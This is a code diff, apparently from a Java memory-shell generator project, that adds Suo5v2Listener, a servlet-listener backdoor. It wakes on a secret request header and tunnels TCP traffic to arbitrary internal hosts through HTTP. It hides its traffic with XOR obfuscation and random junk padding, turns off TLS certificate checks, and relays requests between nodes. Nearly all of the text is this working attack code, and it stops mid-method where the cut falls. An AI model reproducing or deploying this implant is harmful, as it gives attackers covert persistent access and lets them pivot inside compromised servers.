base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java new file mode 100644 index 00000000..c209feef --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -0,0 +1,1183 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Listener() { + } + + public Suo5v2Listener(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Listener(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); + new Suo5v2Listener().process(request, response); + } + } catch (Throwable ignored) { + } + } + + private Object getResponseFromRequest(Object request) throws Exception { + return null; + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Listener(tunId, 1)).start(); + new Thread(new Suo5v2Listener(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = 